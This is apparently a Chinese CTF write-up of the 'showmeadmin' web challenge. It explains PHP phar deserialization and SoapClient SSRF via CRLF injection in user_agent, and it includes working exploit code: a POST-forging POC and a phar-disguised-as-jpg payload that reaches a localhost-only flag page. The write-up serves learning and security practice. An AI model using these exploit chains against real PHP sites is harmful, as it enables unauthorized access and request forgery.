@TOC
前言 去年的一道比赛题,一直没来得及看,借着复现的机会学习了一下phar反序列化和Soap ssrf,仔细研究官方wp后发现这题竟然如此精妙,感叹良久,必须写篇博客记录学习一下
phar反序列化 phar反序列化即在文件系统函数,如file_exists()
和is_dir()
等,在参数可控的情况下,配合phar://
伪协议,可以不依赖unserialize()
直接进行反序列化操作,这里只写下简单介绍,后面几天再详细学习一下phar
一个phar文件包括四个部分:
a stub :可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化
的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
the file contents :被压缩文件的内容。
(optional) a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾
如下为示例,构造一个phar文件
1 2 3 4 5 6 7 8 9 10 11 12 <?php class TestObject { } $phar = new Phar ("phar.phar" ); $phar ->startBuffering (); $phar ->setStub ('GIF89a' .'<?php __HALT_COMPILER(); ?>' ); $o = new TestObject (); $phar ->setMetadata ($o ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); ?>
(注意:要将php.ini中的phar.readonly
选项设置为Off,否则无法生成phar文件。)
Soap SSRF php中有一个SoapClient类,该类的构造函数如下:public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
举个简单例子:
1 2 3 4 5 <?php $target ='http://localhost:6666' ;$a = new SoapClient (null ,array ('location' => $target ,'uri' => "123" ));$a ->func ();?>
在执行一个SoapClient没有的成员函数时,会自动调用该类的__Call
方法,访问如下php文件将会向$target
发送一个soap请求,并且uri选项是我们可控的地方。
1 2 3 4 5 6 7 8 9 10 11 12 13 C:\Users\14169 > nc -lvvp 6666 listening on [any] 6666 ... connect to [127.0.0.1] from LAPTOP-KU3AQ3O9 [127.0.0.1] 63016 POST / HTTP/1.1 Host: localhost:6666 Connection: Keep-Alive User-Agent: PHP-SOAP/7.3.4 Content-Type: text/xml; charset=utf-8 SOAPAction: "123#func" Content-Length: 367 <?xml version="1.0" encoding="UTF-8" ?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="123" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" ><SOAP-ENV:Body><ns1:func/></SOAP-ENV:Body></SOAP-ENV:Envelope>
而在SoapClient的参数中还有一个可选项为user_agent
,可以自定义发送的soap请求的User-Agent的值。 由于user_agent
参数可控,结合CRLF注入可以实现发生任意POST报文 最后给出wupco师傅的生成任意POST报文的POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $target = 'http://123.206.216.198/bbb.php' ;$post_string = 'a=b&flag=aaa' ;$headers = array ( 'X-Forwarded-For: 127.0.0.1' , 'Cookie: xxxx=1234' ); $b = new SoapClient (null ,array ('location' => $target ,'user_agent' =>'wupco^^Content-Type: application/x-www-form-urlencoded^^' .join ('^^' ,$headers ).'^^Content-Length: ' .(string )strlen ($post_string ).'^^^^' .$post_string ,'uri' => "aaab" ));$aaa = serialize ($b );$aaa = str_replace ('^^' ,'%0d%0a' ,$aaa );$aaa = str_replace ('&' ,'%26' ,$aaa );echo $aaa ;?>
题目名称:showmeadmin 访问题目直接给出index源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 index.php <?php session_start ();error_reporting (0 );highlight_file (__FILE__ );include_once 'class.php' ;if ($_SERVER ['REMOTE_ADDR' ] === '127.0.0.1' ) $_SESSION ['admin' ] = true ; else $_SESSION ['admin' ] = false ; if (!empty ($_FILES ['image' ]['tmp_name' ])) { $tmp_name = $_FILES ['image' ]['tmp_name' ]; $filename = $_FILES ['image' ]['name' ] ?: $_GET ['file' ]; if (is_uploaded_file ($tmp_name )) { $upload = new upload ($tmp_name , $filename ); $upload ->uploadImage (); } } else { if (isset ($_GET ['file' ]) && substr ($_GET ['file' ], 0 , 3 ) === 'php' && substr ($_GET ['file' ], -3 , 3 ) === 'php' ) echo file_get_contents ($_GET ['file' ]); } ?>
可以注意到源代码中有一个函数file_get_contents($_GET['file'])
,由于file
变量限定首尾必须都是php,于是可以想到通过php://filter
伪协议读出 class.php 和 flag.php 源码
1 2 3 4 5 6 7 8 9 flag.php <?php session_start ();if (isset ($_SESSION ['admin' ]) && $_SESSION ['admin' ] === true ) echo file_get_contents ('flag' ); else echo "Only localhost admin can get the flag!" ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 class .php<?php class upload { public $check ; public $tmp_name ; public $filename ; public function __construct ($tmp_name , $filename ) { $this ->check = new Check (); $this ->filename = $filename ; $this ->tmp_name = $tmp_name ; } public function uploadImage ( ) { if ($this ->check->checkName ($this ->filename)) { $filepath = "uploads/" . $this ->filename; if (move_uploaded_file ($this ->tmp_name, $filepath )) { echo "Upload success! File is located in " . $filepath ; } else echo "Upload fail!" ; } else echo "Hacker!" ; } public function __destruct ( ) { $filepath = dirname (__FILE__ ) . "/uploads/" . $this ->filename; if (file_exists ($filepath )) { if (!$this ->check->checkContent ($filepath )) { @unlink ($filepath ); echo "\n" ; echo "Dangerous file!" ; } } } } class Check { public $allow_exts ; public function __construct ( ) { $this ->allow_exts = array ('jpg' , 'png' , 'gif' ); } public function checkName ($filename ) { $ext = pathinfo ($filename , PATHINFO_EXTENSION); if (stristr ($filename , "/" ) !== false ) return false ; else return in_array ($ext , $this ->allow_exts, true ); } public function checkContent ($filename ) { if (stristr (file_get_contents ($filename ), "<?php" ) !== false ) return false ; else return true ; } }
Q1:如何访问flag.php? 本题要获取flag就必须访问flag.php文件,但 flag.php 文件在访问时会验证$_SERVER['REMOTE_ADDR']
是否为本地,这种验证ip的方式无法进行伪造,那我们就需要找到一个ssrf的攻击点来进行本地访问
Q2:如何进行ssrf,没有回显怎么办? 由前面的介绍很容易想到ssrf的实现方式,就是通过构造SoapClient类来发送任意POST报文,从而访问flag.php, 但是发送的报文看不到回显,而这时就要利用本题开启的session,在第一次访问后会将if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1')
的判断结果存储在$_SESSION['admin']
中 所以我们的思路就是在ssrf的报文中自定义一个PHPSESSID=xxx
对flag.php进行访问,再用这个sessionid进行访问就能成功访问到flag.php
Q3:SoapClient类如何访问不存在的方法? soap类进行ssrf需要调用一个不存在的方法,可以发现upload 类的__destruct方法调用了 $this->check->checkContent
,我们只用把$this->check
控制为soap类即可。
而源码中还有一个上传功能,但限制了后缀和文件内容,无法直接上传webshell 结合以上两点,这里能使用的思路就是先上传一个phar文件(改为jpg等合法后缀),再访问phar文件触发反序列化,这个phar的meta-data为一个upload类,这个upload类的成员变量check就是我们定义的soap类
上传了exp.jpg后,通过?file=php://filter/resource=phar://./uploads/exp.jpg/exp.php
来访问,从而触发soap类不存在的方法,完成ssrf
下面给出exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $target = 'http://127.0.0.1:80' ; $headers = array ( 'Cookie: PHPSESSID=ar' , ); $a = new SoapClient (null , array ('location' => $target , 'user_agent' => "ar\r\n" . join ("\r\n" , $headers ), 'uri' => "123" ));class upload { public $check ; public $filename ; public function __construct ($check , $filename ) { $this ->filename = $filename ; $this ->check = $check ; } } $exp = new upload ($a , 'exp.jpg' );$phar = new Phar ("exp.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?gml __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($exp ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); rename ("exp.phar" , "exp.jpg" );
通过php文件生成一个exp.jpg,再构造一个post包来上传exp.jpg文件 成功上传后再访问?file=php://filter/resource=phar://./uploads/exp.jpg/exp.php
,此时ssrf已经成功,我们只用带着刚刚自定义的sessionid就可以访问flag.php了
总结 phar反序列化 + Soap SSRF + session利用